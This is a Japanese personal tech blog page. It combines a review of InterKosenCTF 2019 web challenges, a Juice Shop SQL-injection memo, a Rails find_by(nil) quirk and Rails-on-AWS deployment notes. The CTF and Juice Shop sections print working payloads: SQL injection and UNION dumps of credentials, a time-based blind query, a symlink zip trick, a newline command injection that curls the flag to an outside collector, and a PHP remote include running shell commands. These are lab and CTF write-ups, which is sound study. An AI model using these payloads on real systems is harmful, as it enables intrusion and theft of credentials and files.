セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【復習回】InterKosenCTF 2019


お疲れ様です。今回はweb問だけに絞ってチャレンジしました、が、相変わらず、碌に回答できずに終わってしまうのでwriteupが書けません。が、そのままにするといつか見返したい時に困るので、復習という形で書き残します。参考サイトさんははじめにリンクを貼っておきますので、皆さんはそちらを見てください。。。

このページはwriteupではなく復習回です。。。

参考サイト

wassan128.github.io

qiita.com

【web】uploader(warmup)

ファイルをパスワード付きでアップロードできるページに、すでにアップロードされているシークレットファイルをゲットしようという問題。アップされているファイルを検索できるフォームに下を記述したら通ったので、脆弱。
') or 1=1--

提示されているソースファイルよりpasscodeカラムを抜き出します。
')or 1=1 union select passcode from files--

passcodeがフラグでした。 the_longer_the_stronger_than_more_complicated interKosenctf2019 · GitHub

【web】Temple of Time

攻撃されている投票システムのpcapngファイルが渡されるので、フォレンジックします。一番多いアクセスはhttpでのsqlインジェクション試行なので、とりあえず1つ見てみる。

request uri query parameter: portal='or(select(if(ord(substr((select+password+from+users+where+username='admin'),12,1))=109,sleep(1),'')))#


substrでパスワードの12番目の文字1つを抜き出し、ordで数字として返す、それが109(m)かどうかを判別し、正解だったら1秒sleepする。これが、総当たりで1からやられています。ので、レスポンスが遅い部分を抜き出して行けば、フラグが見えます。

KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
これ、目grepでちまちまやったのですが、きっといい方法があると思うのであとで追記します。

【web】Image Extractor

これeasy問?とても難しかったです。。解けなかった。docxファイルの写真部分を切り出してくれるサイト。正確にはアップしたファイルをジップ展開して、word/media/ディレクトリ以下の拡張子付きのファイルを見れるようにしてくれる。 どうやら/flagファイルにフラグが書いてあるらしい。 ソースはこちら。 interkosenctf2019 · GitHub

シンボリックリンク

word/media/内のファイルが表示できるので、その中に/flagへのシンボリックリンクを作れば大丈夫とのこと。コマンド的には下のようになる。

$ mkdir -p word/media
$ ln -s /flag word/media/flag.txt
$ zip -ry flag.zip word
参考:https://qiita.com/mikecat_mixc/items/471c110ae2228915c88b#image-extractor


僕は競技中は右クリックでzip化していたので、そうしました。アップロードしてからflag.txtファイルを開くとフラグが得られたようです。
f:id:thinline196:20190813075115p:plain アップロードしたファイルが展開された様子。

コマンドインジェクション

こちらの方法でも解けるらしい。 ファイル名を正規表現で末尾指定で縛っているが、改行以降については無視されるので、改行後にコマンドをインジェクション可能であるとのこと、systemメソッドにインジェクションして、requestbin宛にflagを送信して完了する。

# get '/image/:name/:image' do
# 正規表現
# params[:name] !~ /^[a-f0-9]{32}$/ || params[:image] !~ /^[A-Za-z0-9_]+\.[A-Za-z0-9_]+$/
# 元コード
    system("unzip -j #{zipfile} word/media/#{params[:image]} -d #{filedir}")
# リクエスト
http://web.kosenctf.com:12000/image/xxxxx自動生成部分xxxxxx/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; #
# インジェクション結果
unzip -j zipファイル名 word/media/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # -d ファイル名.....



【web】Neko Loader

3つの写真の名前とpng, jpg拡張子を選択するとそのファイルが表示されるサイト。情報として、写真を表示する処理と、phpinfoの情報が見られます。

処理はこの内容。 interkosenctf2019 · GitHub


POSTextnamに2値を送ってますが、extの方は4文字制限があり,include($ext.'/'.$name.'.'.$ext);として使われます。
getinfoから、allow_url_includeonになっていることがわかるので、includeで外部スクリプトが読み込めるとのこと。 f:id:thinline196:20190813081350p:plain
しかし、http:は文字数に引っかかるため、ftp:を使用。

ext = ftp:
name= /<ftpサーバのなまえ>/attack.php#
#attack.php
<?php echo shell_exec('ls /;cat /*');?>


このファイルをincludeで読み込ませることで、実行結果を取得しフラグをとるとのことですが、ftpサーバってどうやって用意するのがいいのでしょうか...調べておきます。できれば無料で...

結果

f:id:thinline196:20190813003818p:plain ちなみに真ん中らへんで42位..悔しい。。少ないコード量でこの難しさはさすがでした。。ただ、やり方がわからないではなく、そもそも知識がないって感じの結果だったので引き続き勉強頑張ろう..

【UNION SELECT】Juice ShopのSQLインジェクションの備忘録

www.owasp.org

OWASPが提供してくれているやられサイト。
今までUNION SELECTSQLインジェクションがよく分かっていなかったので、問題を解いたついでに備忘録。

Retrieve a list of all user credentials via SQL Injection

bkimminich.gitbooks.io この問題は、クエリを細工して通常、商品の条件検索する場所で、ユーザの登録情報をSQLiによって読み取ろうという問題。問題の解説自体は本家のページにあるので、そちらで。ここでは、忘れないようにやった手順を書いておこうと思います。

大したことは書きませんが、誰かの役にたてば幸いです。

解くまえに

別の問題のインジェクションの結果から、ユーザの情報はUsersテーブルで管理され、emailpasswordカラムがあることが分かっています。(ログインページのエラー等から発行されているSQL文が覗け、そこから判明可能)

通常のリクエス

/rest/products/search?q=
このリクエストには、条件が指定されていないので全ての商品情報が返ってきます。json形式ですが

# response
{
    "status": "success",
    "data": [
        {
            "id": 1,
            "name": "Apple Juice (1000ml)",
            "description": "The all-time classic.",
            "price": 1.99,
            "image": "apple_juice.jpg",
            "createdAt": "2019-08-08 11:15:22.310 +00:00",
            "updatedAt": "2019-08-08 11:15:22.310 +00:00",
            "deletedAt": null
        },
        {
            "id": 24,
            "name": "Apple Pomace", 
....


エラーを起こす

ありがたいことに、エラーを起こすとそのSQL文が返ってきます。
/rest/products/search?q=shop'

{
  "error": {
    "message": "SQLITE_ERROR: near \"'%'\": syntax error",
    "stack": "SequelizeDatabaseError: SQLITE_ERROR: near \"'%'\": syntax error\n    at Query.formatError (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:419:16)\n    at Query._handleQueryResponse (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:73:18)\n    at afterExecute (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:247:31)\n    at replacement (/app/node_modules/sqlite3/lib/trace.js:19:31)\n    at Statement.errBack (/app/node_modules/sqlite3/lib/sqlite3.js:16:21)",
    "name": "SequelizeDatabaseError",
    "parent": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Products WHERE ((name LIKE '%shop'%' OR description LIKE '%shop'%') AND deletedAt IS NULL) ORDER BY name"
    },


))でwhereを終えて、union selectでUsersテーブルから情報をとった後、残りはコメントアウトすれば良さそうです。

union select

よく分かっていなかったのが、union selectを書くときのカラムの数を同じにする という話。
蓋を開けてみると簡単なことで、union selectの左の結果で得られるカラムの数と同じにするということだそうです。今回であれば、左側の文ではProductsテーブルの全てのカラムをとってくるので、id,name,description,price,image,createdAt,updatedAt,deletedAt8がカラム数です。

よって、
/rest/products/search?q=shop')) UNION SELECT email,password,2,3,4,5,6,7 FROM Users--
とすればカラム数が8個の指定になります。(数字の振り方が変なのは意味なし)ここは、発行されているsql文が不明な時に、よく1つずつ増やしながら試している部分です。だからよく分かっていなかったかも...?

レスポンスの一部はこんな感じで返ってきます。

 {
            "id": "J12934@juice-sh.op",
            "name": "3c2abc04e4a6ea8f1327d0aae3714b7d",
            "description": 2,
            "price": 3,
            "image": 4,
            "createdAt": 5,
            "updatedAt": 6,
            "deletedAt": 7
        },
        {
            "id": "admin@juice-sh.op",
            "name": "0192023a7bbd73250516f069df18b500",
            "description": 2,
            "price": 3,
            "image": 4,
            "createdAt": 5,
            "updatedAt": 6,
            "deletedAt": 7
        },
        {
            "id": "amy@juice-sh.op",
            "name": "030f05e45e30710c3ad3c32f00de0473",
            "description": 2,


UNION SELECTの右側で指定したUsersテーブルのカラムの値を、左側で取得したカラムに紐付ける?挿げ替える?ために、同じ数にする必要があったようです。(初心者)

模範回答

回答はこんな感じです。 bkimminich.gitbooks.io

【Rails5】find_by(nil)が先頭レコードを返す

find_by

find_byメソッドは、検索するカラムとその条件を指定してそのレコードのうち最初の一件を取得します。例えばfind_by(id: 1)ならidが1のレコードを返します。

find_by(nil) -> nil ???

使い方は正しくはありませんが、この使い方をするとnilが返ってきそうですが、実は先頭レコードが1件返ってきます。挙動としてはfirstと同じ感じ。こんな書き方は普段しませんが、カラムの指定を忘れ、paramsの値がnilであったりキー名をタイポしたりした際に、エラーになりません。

環境

ruby 2.5.3p105
Rails 5.2.3

テストに使用するモデル

$ bin/rails g model User name:string

Userモデルを作って、idとnameというカラムを持たせます。マイグレートしてください。ひとまず"Alice"という名前のUserを作っておきます。

発行されるSQL

User.find_by(name: "Alice")
User Load (0.7ms)  SELECT  `users`.* FROM `users` WHERE `users`.`name` = 'Alice' LIMIT 1
=> #<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">


User.find_by("Alice")
User Load (0.6ms)  SELECT  `users`.* FROM `users` WHERE (Alice) LIMIT 1 #エラー


User.find_by(name:nil)
User Load (0.4ms)  SELECT  `users`.* FROM `users` WHERE `users`.`name` IS NULL LIMIT 1
=> nil


User.find_by(nil)
User Load (0.3ms)  SELECT  `users`.* FROM `users` LIMIT 1
=> #<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">

なぜ

find_by

    def find_by(arg, *args)
      where(arg, *args).take
    rescue ::RangeError
      nil
    end

より、where(nil).takeが呼ばれます。

User.where(nil)
  User Load (0.5ms)  SELECT  `users`.* FROM `users` LIMIT 11
=> #<ActiveRecord::Relation [#<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">, #<User id: 2, name: "Alice", created_at: "2019-08-07 13:24:35", updated_at: "2019-08-07 13:24:35">]>

より、where(nil)は条件なしで検索がかかるようです。
takelimit 1がかかるので、結果的に先頭のレコードが返って来る仕組みです。



github内でのissue

github.com
だいぶ昔に閉じられていますが、find_byはwhereのエイリアスだから、結局where(nil)の挙動の問題に帰結するよ。みたいな感じで閉じられています。where(nil)がそういう挙動なら、そりゃそうでしょ?ってお話でしょうか?

しかし、その一年後、いややっぱりおかしいよ。nilを返すべきだ。find_byの挙動はwhereの話と別にして考えるべきだ。みたいなことを言っている人が現れました。結局、何も変更がなかったようですが。
個人的にも、find_by(nil)nilを返すようにしていい気がします。変にテストとか通ってしまう可能性もあって、見落としがちになりそうです。

【terraform+capistrano+itamae】Railsのアプリケーションをawsにデプロイした時の備忘録③

前回capistranoでデプロイをする部分をやった。が、デプロイ先のaws内の準備は手動でやったので、その部分をitamae自動化したい。

thinline196.hatenablog.com

目的

itamaeaws上にRailsアプリが動作するのに必要な環境をセットアップできるようにする。最終的な流れとしては

terraform->itamae->capistrano

という作業手順になるはずである。

itamae

環境を整える手順としては

  1. yumのアプデ、git等のインストール
  2. rbenvのセットアップ
  3. その他gemが必要とする物(ImageMagickなど)


rbenvについては、インストールするレシピがあったのでそれを使用する。が、なぜかbundlerを上手くインストールできなかったので、手動で行う事にした。 GitHub - k0kubun/itamae-plugin-recipe-rbenv: Itamae plugin to install ruby with rbenv

その他は他サイトを参考に自前で書いてみる。 CapistranoとItamaeを使った複数環境へのプロビジョニング - neuro, Inc. エンジニアブログ

itamae呼び出し方法

itamaegemが入っていればフォルダ構成は自由だが、ファイル同士は相対パスで呼び出すのである程度構成は決めておくと良い。
僕はこんな感じ。
f:id:thinline196:20190704122143p:plain
下のような形でitamaeを実行させる。

bundle exec itamae ssh --host [ホスト名] --user ec2-user itamae/roles/app.rb


この場合、app.rbから芋づる式に呼ばれる。app.rbには呼び出し順にレシピを呼び出すだけでOK。



コマンドでymlファイルを渡して環境変数?を定義してあげる方法があるのだが、今回はレシピ側からinclude_recipeしてもらうことで環境変数を取り込む。ここには、ユーザ名や各パスワード、aws内のRDBのホスト名などを記述しておく。今回は特に気にしていないけれど、このファイルだけ適宜変更すれば、以降変更があってもレシピをいじらなくて済む。


node.reverse_mergeすることで、レシピ内からnode[:hoge][:hoge]のような形で値を取得できるようになる。

レシピ

基本的に各レシピ間に違いは少ないし、最悪の場合サーバ上で行うコマンドを全て書けば良いので一部だけ紹介しておく。

dependencies

一番初めに呼び出したレシピで、gitコマンドをインストールしたり、そもそもyumのアップデートを走らせたりと大事なことはここでまとめてやっている。


一番最後の行はImageMagickのインストールだが、すでにインストールされていたら実行しないようにしている。また、今回指定したrmagick3.0で、yumから入るImageMagickのバージョンと上手く連動しないため、公式サイト経由でインストールしている。



users

cookbooks/users/default.rbではcookbooks/users/*/default.rbを呼び出す指示だけ書きます。こうすることで作りたいユーザのレシピだけを指定して呼び出すことができ、レシピも整理できます。今回はmycalendarというユーザを生成します。

# cookbooks/users/default.rb
include_recipe "./mycalendar/default.rb"


名前の指定等は別ファイルから行います。freezeとかはrubocop先生がつけてくれました。


.bashrc.erbには大したことは書いてないです。

# users/mycalendar/templates/.bashrc.erb
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
    . /etc/bashrc
fi

# User specific aliases and functions ex.global variable


authorized_keysには今後手元からそのユーザでssh接続するために使用する公開鍵をいれておきます。このユーザでsshする予定がないならいらないかも。

sudoers.d配下におきたい設定はここに書いておきます。僕はunicornを走らせる必要があるのでこれだけ設定しておきました。ここの設定をミスるとsudoが使えなくなり詰むので回避策は考えておいてください

# users/mycalendar/files/etc/sudoers.d/mycalendar
#user rule for mycalendar
# unicorn
mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn start
mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn stop
mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn restart
mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn status

ruby

rubyはシステムにインストールします。


1つ目のinclude_recipe "rbenv::system"は、rbenvをいれられるgem環境変数に値を設定しておけばそれに従ってインストールしてくれます。今回はグローバルな所にインストールをしましたが、ユーザ別に入れることも可能です。その場合、ディレクトリ等が多少変わってくるので他のファイルも変更が必要になります。

その他

あと気をつける部分はnginxのインストールと起動タイミングです。unicornと連動するようにしたのですが、僕のレシピではRailsの準備(ディレクトリの生成等)が終わる前にnginxを起動するとエラーが発生しました。(nginxの設定ファイルで指定したディレクトリが存在しないため) なので、nginxの起動だけはRailsのレシピの最後で呼び出しています。

もう一つはディレクトリの生成と権限です。上の方でitamaeの実行をしているのはec2-userというawsのデフォルトのユーザで権限が強いです。よって基本的にディレクトリ生成時に指定がなければ所有者やグループがrootになります。が、今回はmycalendarというアプリケーションの実行に必要なだけの権限を付与したユーザを作り、そいつに作業をして欲しいのです。よってこのままでは、実行時に書き込み権限がなかったり、そもそもディレクトリにアクセスができないという自体にもなります。ので、ディレクトリ作成時にはなるべく、生成したユーザの権限を付与しておきましょう。(capistranoでデプロイする場合にもmycalendarユーザを使用するので、権限がないディレクトリにデプロイするとエラーを吐きます。)

MySQL

awsRDBを使用するため、mysql-serverはインストールしません。下で色々やっているのは、アプリがmysqlをいじる際に使用するユーザの生成です。パスワードはコマンドラインから流すしかなかったのでセキュアではありませんが、以下のようにしました。もっといい案があれば教えてください。



capistrano側の変更

rbenvがユーザ毎へのインストールではなくなるので、パスを設定してあげます。

# config/deploy.rb
..
# 追記
set :rbenv_path, "/usr/local/rbenv"
..


sshでは新たに生成したユーザを使うので、上で登録した公開鍵の対の秘密鍵を使用するように指定します。

# config/deploy/production.rb
...
- set :ssh_options, keys: "~/.ssh/id_rsa"
+ set :ssh_options, keys: "~/.ssh/mycalendar_id_rsa"


あと気にする点は、RDBにアクセスするユーザをitamaecapistranoで対応させておくことだと思います。

余談

階層わかりにくかったので、下にもう少し詳しいののっけておきます。 f:id:thinline196:20190704124042p:plain
それとgistのファイルの説明の所に階層を地味にメモしているので何かの役に立てば、、

【terraform+capistrano+itamae】Railsのアプリケーションをawsにデプロイした時の備忘録②


前回terraformawsの構築を行いました。

thinline196.hatenablog.com

Capistrano

itamaeを使用して、環境の構築も同時に学習したかったのですが、あまりにも学習コストが高くなりそうだったので、サーバのrbenv,nginxmysqlのインストールはまずは手動で行いました。bundlerGemfile.lockを参照して同じバージョンを入れるのが望ましいかも?

デプロイプロジェクトで使用しているgemが要求する物に関しては適宜入れていきます。ImageMagickとか。本当はitamaeでその辺りもカバーします。バージョン等は各環境に合わせて。

参考サイト

以下、設定ファイルの説明のみ書いていくので、手順が知りたい人はリンク先をおってください。 (デプロイ編①)世界一丁寧なAWS解説。EC2を利用して、RailsアプリをAWSにあげるまで - Qiita

AWS RailsアプリケーションのCapistranoによるデプロイ - Qiita

使用Gem

capistrano3-unicornは使用せずにやりました。

#Gemfile
group :development, :test do
 gem 'capistrano'
 gem 'capistrano-bundler'
 gem 'capistrano-rails'
 gem 'capistrano-rbenv'
end

group :production, :staging do
  gem 'unicorn'
end



bundle exec cap installを実行

capistrano設定

Capfile



config/deploy/production.rb

このファイルは大枠の設定ファイルみたいなイメージ。
serverにはデプロイする先のアドレスと、そこにどのロールのタスクを実行するか指定する。今回でいうとapp``db``webと指定したタスクが指定アドレス上で実行される。次に紹介するconfig/deploy.rbにてタスクごとにロールを振っているのがわかる。



config/deploy.rb

このファイルが上から実行されるみたいなイメージだと良いかも?上から変数を定義して下でタスクを順に実行するみたいな。例えば上のconfig/deploy/production.rbdbを指定しなかった場合、db_createの中身は実行されない。

repo_urlではGitPersonal API tokenをxxxxに指定することでプライベートリポジトリの物もデプロイ可能。記事の下の方に参考サイトを貼っておきます。



lib/capistrano/tasks/unicorn.rb

unicornのタスクを記述したファイル。上のconfig/deploy.rb内のunicorn:restartが呼び出しているのはこのファイルに定義したタスク。



config/unicorn/production.rb

unicornの設定ファイル。capistranoとの関連はないが、デプロイ先のディレクトリについての関係は同じにしておく。



nginx,mysql等の設定については、参考サイト先を参照してください。基本的にこの辺りはのちにitamaeでカバーしようと思うので、入れるコマンドや手順はメモっておくとitamaeの導入が楽かもです。



環境変数

configgemを使用しました。 ローカルにはconfig/secrets.yml

# config/secrets.yml(ローカル)
production:
  secret_key_base: <%= Settings.production[:secret]%>

としましたが、他のページにもいくつか同じように指定している箇所があるかと思います。上のconfig/deploy.rbの設定で、shared/config/settings/production.ymlシンボリックリンクを生成することを宣言したため、そちらに内緒にしたい値を定義していきます。

# shared/config/settings/production.yml (aws)
database:
  user_name: 'root'
  password: 'hogehoge'
production:
  secret: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
mail:
  address: 'test@example.com'
  password: 'xxxxxxxxxxxxx'

こんな感じ。

awsRDBを使用する

config/database.ymlhostawsに指定しなければいけない。なので、awsインスタンス内でyum install mysql-serverをやる必要はない。(aws内にRDBインスタンスを作っていない場合は例外)

EC2とRDSでrailsを動かす - Qiita



プライベートリポジトリからdeployする

Capistrano3でgithubのプライベートリポジトリを簡単にデプロイする方法 · polidog lab++

CapistranoでGitHubにアクセスする際のネットワークプロトコルをhttpsにする - Qiita



デプロイ実行

$ bundle exec cap production deploy



その他対処など..

assets:precompileエラー

ActionView::Template::Error (The asset "application.css" is not present in the asset pipeline.):

上のエラーはcss等が未コンパイルのためエラーが起こる。自分でコンパイルする必要があるが、yarnが必要になるため、下記事を参考に導入後次のコマンドを入力する。

エラー解決の参考 Rails5でnginx+pumaでproduction環境を構築する · atwata developer blog
最新のnodejsyarn導入の参考 EC2にyarnをインストールする|新卒エンジニアの開発日記

bundle exec rake assets:precompile RAILS_ENV=production また、静的ファイルが読み込めない場合以下をconfig/environments/production.rbに記述

  # config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? コメントアウト
  config.public_file_server.enableda = true



ImageMagic問題

gemのrmagicのバージョンが3だと、ImageMagicのバージョン7に2019年6月現在対応していない。が、6系も低すぎるとエラーになる。

ImageMagicインストール参考サイト

Install ImageMagick from source on Amazon Linux · GitHub


ImageMagicバージョンダウンロードサイト Index of /download

db:migrate

参考にしたサイト通りにやっていればエラーなど出ないが、db:migrateが実行されない現象にぶつかった。 config/deploy/production.rbserverのロールとしてdbを含めていなかったため、dbロールに割り当てられていた、マイグレーションの実行がされておらずテーブルが生成されていなかった。(itamae導入前なので、テーブル自体は手動で生成した)

Capistrano の db ロール - akishin999の日記



デプロイ時エラー

git stdout: Nothing written
git stderr: fatal: Not a valid object name
tar: これは tar アーカイブではないようです
tar: 前のエラーにより失敗ステータスで終了します

=>Capfileで指定したデプロイするブランチ名が違っていた。

sharedディレクトリ等の作成

あらかじめディレクトリを生成しておく場合、権限を正しくしておかないとcapistranoが書き込めなくてエラーがでる。terraformで使用したアカウントとcapistranoで使用するアカウントの権限の差に注意しておくこと。特に、ec2-userより権限の小さいユーザを生成してから、capistranoでデプロイするとだいたい書き込めないので注意。次回のitamae編ではその辺りにも注意して進めます。
次の記事はこっち

thinline196.hatenablog.com